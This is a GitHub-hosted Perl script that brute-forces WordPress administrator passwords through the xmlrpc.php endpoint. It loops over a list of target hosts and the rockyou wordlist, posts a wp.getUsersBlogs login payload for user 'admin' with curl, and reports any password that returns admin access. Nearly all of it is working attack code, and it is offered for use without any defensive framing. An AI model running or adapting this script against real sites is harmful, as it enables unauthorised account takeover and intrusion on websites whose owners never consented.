-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathxmlrpc.pl
109 lines (85 loc) · 2.13 KB
/
xmlrpc.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/perl -wU
# WP PingBack/apmification attack password Brute Forcer (DIIIIRTY ! )
use 5.010;
use IO::File;
use Data::Dumper;
use Term::ANSIColor;
my @Tab=();
my $Handle = IO::File->new("hosts.txt", "r") || die $!;
print (colored"\n [+] ",'bold green');
say "Start to send requests...\n";
while (my $Reading = $Handle->getline()) {
chomp($Reading);
my $Current=$Reading;
print (colored"[-] ",'yellow');
say "Requesting $Current";
my $Handle2 = IO::File->new("/usr/share/wordlists/rockyou.txt", "r") || die $!;
my @BF=();
while (my $pass = $Handle2->getline()) {
chomp($pass);
@BF='
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param>
<value>
<string>admin</string>
</value>
</param>
<param>
<value>
<string>'.$pass.'</string>
</value>
</param>
</params>
</methodCall>
';
print (colored"\n [+] ",'bold yellow');
say "Testing Authentication using: $pass as password...\n";
my $Request='curl --connect-timeout 5 --data @test.txt https://'.$Current.'/xmlrpc.php 2>/dev/null';
my $ForTab=`$Request`;
push(@Tab,$ForTab);
print (colored"\n [+] ",'bold green');
say "Parsing output to find RPC Pingback response...";
foreach my$Output(@Tab){
if ($Output=~/isadmin/i){
say colored"[*] Password $pass found using this payload: $Output !",'bold green';
unlink("test.txt");
exit;
}
else{
print (colored"\n [+] ",'bold yellow');
say "Authentication failed ($pass); trying next password\n";
foreach my $lol(@BF){
my $output = new IO::File(">test.txt");
print $output $lol;
$output->close;
}
}
}
}
}
unlink("test.txt");
CLOSE:
print (colored"\n [?] ",'bold blue');
say "[-] Hope that you find something...";
=info
test.txt:
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param>
<value>
<string>admin</string>
</value>
</param>
<param>
<value>
<string>password</string>
</value>
</param>
</params>
</methodCall>
=cut